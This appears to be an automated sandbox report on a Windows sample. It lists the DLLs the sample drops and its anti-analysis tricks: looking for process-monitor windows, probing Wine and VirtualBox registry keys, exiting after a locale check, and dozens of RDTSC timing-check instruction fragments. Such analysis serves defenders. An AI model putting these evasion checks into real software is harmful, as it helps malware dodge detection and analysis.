Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00199860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-58373

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E2136 second address: 3E213C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E1948 second address: 3E1953 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F8B0CFA0376h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E1953 second address: 3E196E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jne 00007F8B0CDF43C6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F8B0CDF43CBh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E196E second address: 3E1978 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 564A2F second address: 564A39 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8B0CDF43C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 564A39 second address: 564A42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54AFB8 second address: 54AFBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54AFBF second address: 54AFDB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B0CFA0382h 0x00000007 jc 00007F8B0CFA0382h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54AFDB second address: 54AFE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 563C9E second address: 563CC1 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8B0CFA0376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jng 00007F8B0CFA037Ch 0x00000010 pushad 0x00000011 jmp 00007F8B0CFA037Ah 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 563CC1 second address: 563CC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5640EE second address: 5640F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568266 second address: 568282 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jbe 00007F8B0CDF43C6h 0x00000011 push esi 0x00000012 pop esi 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 ja 00007F8B0CDF43C6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568282 second address: 5682E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007F8B0CFA0383h 0x00000010 mov eax, dword ptr [eax] 0x00000012 jne 00007F8B0CFA0393h 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F8B0CFA0387h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568479 second address: 56847E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5684F2 second address: 568507 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B0CFA0381h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568507 second address: 56856E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B0CDF43D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007F8B0CDF43C8h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 pushad 0x00000027 mov ax, si 0x0000002a call 00007F8B0CDF43CAh 0x0000002f mov ch, 2Eh 0x00000031 pop edx 0x00000032 popad 0x00000033 push 00000000h 0x00000035 add dword ptr [ebp+122D184Bh], edi 0x0000003b push 38C68A2Ch 0x00000040 push eax 0x00000041 push edx 0x00000042 push ebx 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56856E second address: 568573 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568573 second address: 5685CF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F8B0CDF43D3h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [esp], 38C68AACh 0x00000012 mov di, cx 0x00000015 push 00000003h 0x00000017 jmp 00007F8B0CDF43CDh 0x0000001c cmc 0x0000001d push 00000000h 0x0000001f push ebx 0x00000020 jmp 00007F8B0CDF43D3h 0x00000025 pop edx 0x00000026 push 00000003h 0x00000028 mov dword ptr [ebp+122D188Fh], edi 0x0000002e push 87BC009Eh 0x00000033 pushad 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5685CF second address: 5685ED instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8B0CFA0376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8B0CFA0382h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5685ED second address: 5685F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57A1D9 second address: 57A1E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F8B0CFA0376h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 587847 second address: 58784D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58784D second address: 58785F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F8B0CFA037Dh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58785F second address: 58787B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F8B0CDF43D6h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58787B second address: 58787F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 587B8A second address: 587B8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 587CFE second address: 587D02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 587D02 second address: 587D08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 587D08 second address: 587D10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 587D10 second address: 587D14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 587D14 second address: 587D26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007F8B0CFA0395h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 588200 second address: 588231 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F8B0CDF43C6h 0x0000000a jmp 00007F8B0CDF43CCh 0x0000000f popad 0x00000010 pushad 0x00000011 jbe 00007F8B0CDF43CCh 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F8B0CDF43CBh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5883A9 second address: 5883B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pushad 0x00000006 popad 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5883B1 second address: 5883C5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jno 00007F8B0CDF43C6h 0x00000009 push edx 0x0000000a pop edx 0x0000000b pop esi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5883C5 second address: 5883C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5883C9 second address: 5883D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F8B0CDF43CAh 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 588530 second address: 58853B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58853B second address: 588547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F8B0CDF43C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 588547 second address: 58854C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58854C second address: 588584 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B0CDF43D8h 0x00000007 jmp 00007F8B0CDF43D7h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 588584 second address: 588599 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F8B0CFA037Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 588599 second address: 58859D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58859D second address: 5885A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 588715 second address: 588757 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B0CDF43CFh 0x00000007 jmp 00007F8B0CDF43D5h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jbe 00007F8B0CDF43CCh 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 pop esi 0x00000018 jmp 00007F8B0CDF43CAh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5889E4 second address: 5889F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop esi 0x00000007 jmp 00007F8B0CFA037Dh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5889F8 second address: 5889FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5889FE second address: 588A04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 588A04 second address: 588A08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 588A08 second address: 588A0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 589318 second address: 589338 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F8B0CDF43D7h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58B752 second address: 58B757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58B757 second address: 58B761 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F8B0CDF43C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58B761 second address: 58B765 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58B765 second address: 58B772 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58D20C second address: 58D211 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58D211 second address: 58D21F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558A14 second address: 558A19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558A19 second address: 558A39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8B0CDF43D8h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 594CCF second address: 594CD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 594CD5 second address: 594CDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 594CDA second address: 594CE8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnp 00007F8B0CFA0376h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 594CE8 second address: 594CEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 594CEC second address: 594D09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F8B0CFA0376h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jng 00007F8B0CFA037Ah 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 594D09 second address: 594D0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 595144 second address: 595154 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jns 00007F8B0CFA037Ah 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 595154 second address: 59515C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59515C second address: 595160 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 595160 second address: 595170 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007F8B0CDF43C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 595170 second address: 595176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5952F0 second address: 5952F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5952F4 second address: 595321 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8B0CFA0388h 0x0000000b popad 0x0000000c jo 00007F8B0CFA039Ah 0x00000012 jo 00007F8B0CFA0386h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 595321 second address: 595337 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8B0CDF43CAh 0x00000009 push eax 0x0000000a push edx 0x0000000b jns 00007F8B0CDF43C6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 598773 second address: 598777 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 598777 second address: 59878D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B0CDF43D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 598B03 second address: 598B2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B0CFA0387h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 ja 00007F8B0CFA0376h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 598E19 second address: 598E1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 599004 second address: 59901A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 599616 second address: 59962A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8B0CDF43D0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59962A second address: 59962E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5997C3 second address: 5997D7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push edi 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pop edi 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5999DF second address: 5999E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59AF8D second address: 59AF99 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 push edx 0x00000006 pop edx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59AF99 second address: 59AFBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnl 00007F8B0CFA0376h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F8B0CFA0381h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59AFBD second address: 59AFC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
